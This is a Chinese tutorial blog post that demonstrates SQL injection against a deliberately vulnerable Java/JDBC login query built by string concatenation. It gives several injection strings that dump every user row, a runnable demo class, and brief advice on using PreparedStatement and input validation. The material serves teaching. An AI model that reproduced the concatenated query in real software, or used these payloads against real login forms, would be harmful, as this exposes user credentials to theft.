1. 程式人生 > 其它 >SQL注入(案例演示)

SQL注入(案例演示)

技術標籤:經驗分享資料庫javasqljdbcSQL注入

SQL注入(案例演示)


一、SQL注入是什麼?

在程式事先定義好的 查詢語句中新增額外的SQL語句 ,在管理員不知情的情況下實現非法操作,以此來實現 欺騙資料庫伺服器執行非授權的任意查詢 ,從而進一步得到相應的資料資訊。
SQL注入通俗說就是:
通過SQL語句找到破綻,進行非法的資料讀取。

二、實現步驟

說明:
用一個簡單的查詢案列說明 SQL 注入
案例使用的為:Java語言與MySQL資料庫

1.新建資料表

1.新建一個數據表並新增幾條資料

# 新建表
CREATE TABLE `user`  (
  `user_name` varchar(255),
  `password` varchar(255)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
# 向表中新增資料
INSERT INTO `user` VALUES ('zhangsan', '123456');
INSERT INTO `user` VALUES ('1', '2');
INSERT INTO `user` VALUES ('1', '1');
INSERT INTO `user` VALUES
('1', '3');

此時資料庫的資料為下圖所示:
在這裡插入圖片描述

2.SQL注入分析

1.定義SQL語句

可以看出在引數userName和password 的部分SQL語句是傳遞的字串,也就是說可以傳遞任意內容
String sql = "select * from user where user_name = ’ " + userName + "’ and password = ’ " + password + " ’ ";

2.設定userName和password引數值

通過引數userName的傳值來演示獲取非法資料
將userName的值分為四種情況,password 的值在這四種情況下都為固定值 1

合法引數獲取資料
String userName = “1”;
String password = “1”;
傳遞引數後SQL語句變為:
select * from user where user_name = ‘1’ and password = ‘1’
此時可從資料庫中讀取出一條資料:
User(userName=1, password=1)

非法引數獲取資料(1)—— 掌握一部分資訊即可獲取到其它資訊
String userName = “1’ or password = '”;
String password = “1”;
傳遞引數後SQL語句變為:
select * from user where user_name = ‘1’ or password = ‘' and password = '1
此時可從資料庫中讀取出三條資料:
User(userName=1, password=2)User(userName=1, password=1)User(userName=1, password=3)

非法引數獲取資料(2)—— 什麼都不需要即可獲取所有資訊
String userName = “’ or user_name like ‘%%’ or password = '”;
String password = “1”;
傳遞引數後SQL語句變為:
select * from user where user_name = ‘’ or user_name like ‘%%’ or password = ‘'and password = '1
此時可從資料庫中讀取出四條資料:
User(userName=zhangsan, password=123456)User(userName=1, password=2)User(userName=1, password=1)User(userName=1, password=3)

非法引數獲取資料(3)—— 利用#註釋掉多餘SQL
String userName = "’ or user_name like ‘%%’ # or password = ’ ";
String password = “1”;
傳遞引數後SQL語句變為:
select * from user where user_name = '' or user_name like '%%' # or password = ’ and password = ‘1’
此時可從資料庫中讀取出四條資料:
User(userName=zhangsan, password=123456)User(userName=1, password=2)User(userName=1, password=1)User(userName=1, password=3)

3.程式碼案例

1.新建一個User實體類

【說明】
如果不使用lombok的@Data註解,需要新增set get方法和toString方法

@Data
public class User {
    private String userName;
    private String password;
}

2.新建Demo類,體驗SQL注入

public class Demo {
    public static void main(String[] args) throws Exception{
//        String userName = "1";  // 正常操作
//        String userName = "1' or password = '"; // 掌握丟丟資訊就可以獲取其它資訊
//        String userName = "' or user_name like '%%' or password = '"; // 什麼都不需要就可拿到所有資訊
        String userName = "' or user_name like '%%' # or password = ' "; // 升級版
        String password = "1";

        // 載入資料庫驅動
        Class.forName("com.mysql.jdbc.Driver");
        // 建立資料庫連線
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/user表所在的資料庫名?" +
                "characterEncoding=utf-8&useUnicode=true","root","123456");
        // 定義SQL語句
        String sql = "select * from user where user_name = '" + userName + "' and password = '" + password + "'";
        // 打印出拼接後的SQL語句
        System.out.println(sql);
        // 建立SQL執行物件
        Statement stmt = conn.createStatement();
        // 執行SQL語句並返回結果集
        ResultSet rs = stmt.executeQuery(sql);
        // 遍歷出結果集到List集合
        List<User> userList = new CopyOnWriteArrayList<>();
        while (rs.next()) {
            User user = new User();
            user.setUserName(rs.getString(1));
            user.setPassword(rs.getString(2));
            userList.add(user);
        }
        // 列印結果集
        for (User user : userList) {
            System.out.println(user);
        }
    }
}

三、防止SQL注入的方式

  1. SQL預編譯(Java提供了PreparedStatement類)
  2. 校驗引數(使用正則表示式等)